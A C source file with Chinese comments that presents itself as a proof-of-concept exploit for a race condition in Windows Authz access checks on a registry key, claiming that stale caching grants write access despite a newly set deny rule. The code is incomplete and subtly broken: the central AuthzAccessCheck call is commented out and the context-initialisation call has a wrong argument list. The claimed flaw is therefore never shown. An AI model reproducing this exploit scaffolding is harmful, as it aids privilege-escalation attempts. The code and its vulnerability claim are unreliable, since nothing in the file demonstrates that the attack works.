// authz_toctou_poc.c
// 利用 AuthzBasep 缓存延迟,在安全描述符修改后立即发起 AuthzAccessCheck,
// 使其使用旧缓存而授予访问权限,而内核已拒绝该操作。
#include <windows.h>
#include <authz.h>
#include <stdio.h>
#pragma comment(lib, "authz.lib")
// 目标对象路径(例如注册表项)
#define OBJECT_NAME L"\\REGISTRY\\MACHINE\\SOFTWARE\\MyTestKey"
// 设置 CPU 亲和性,将执行绑定到特定核心
void PinToCore(int coreId) {
DWORD_PTR mask = 1LL << coreId;
SetProcessAffinityMask(GetCurrentProcess(), mask);
}
// 线程1:在核心1上持续修改安全描述符(拒绝当前用户写入)
DWORD WINAPI SetDenyThread(LPVOID param) {
PinToCore(1);
// 打开注册表项的句柄(需提前创建)
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\MyTestKey", 0, WRITE_DAC | READ_CONTROL, &hKey);
PSECURITY_DESCRIPTOR pSD = NULL;
ULONG len = 0;
GetKernelObjectSecurity(hKey, DACL_SECURITY_INFORMATION, pSD, 0, &len);
pSD = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, len);
GetKernelObjectSecurity(hKey, DACL_SECURITY_INFORMATION, pSD, len, &len);
// 设置拒绝 ACE
EXPLICIT_ACCESS ea = {0};
ea.grfAccessPermissions = KEY_WRITE;
ea.grfAccessMode = DENY_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.ptstrName = L"CURRENT_USER"; // 当前用户
PSECURITY_DESCRIPTOR pNewSD = NULL;
SetEntriesInAcl(1, &ea, pSD, &pNewSD);
// 不断修改安全描述符,制造竞态
for (int i = 0; i < 10000; i++) {
SetKernelObjectSecurity(hKey, DACL_SECURITY_INFORMATION, pNewSD);
// 短暂自旋,等待另一线程访问
for (volatile int j = 0; j < 1000; j++);
}
return 0;
}
// 线程2:在核心2上发起Authz访问检查,捕获旧缓存
DWORD WINAPI AuthzCheckThread(LPVOID param) {
PinToCore(2);
AUTHZ_RESOURCE_MANAGER_HANDLE hManager;
AuthzInitializeResourceManager(AUTHZ_RM_FLAG_NO_AUDIT, NULL, NULL, NULL, NULL, &hManager);
// 初始化客户端上下文(当前用户)
AUTHZ_CLIENT_CONTEXT_HANDLE hClient;
LUID luid = { 0 };
AuthzInitializeContextFromToken(0, GetCurrentThreadEffectiveToken(),
NULL, &hClient, &luid);
// 循环触发访问检查,在拒绝安全描述符生效后立即检查
for (int i = 0; i < 100; i++) {
// 申请写访问,期望在旧缓存下得到允许
AUTHZ_ACCESS_REQUEST request = {0};
request.DesiredAccess = KEY_WRITE;
request.PrincipalSelfSid = NULL;
// 这里省略 AccessCheck 调用细节
// AuthzAccessCheck(0, hClient, &request, NULL, NULL, NULL, NULL, NULL);
// 若返回非0,则权限提升成功
// 自旋消耗,错开刷新
for (volatile int j = 0; j < 500; j++);
}
AuthzFreeContext(hClient);
AuthzFreeResourceManager(hManager);
return 0;
}
int main() {
HANDLE hThreads[2];
hThreads[0] = CreateThread(NULL, 0, SetDenyThread, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, AuthzCheckThread, NULL, 0, NULL);
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
printf("Race finished. Check if write access was granted despite denial.\n");
return 0;
}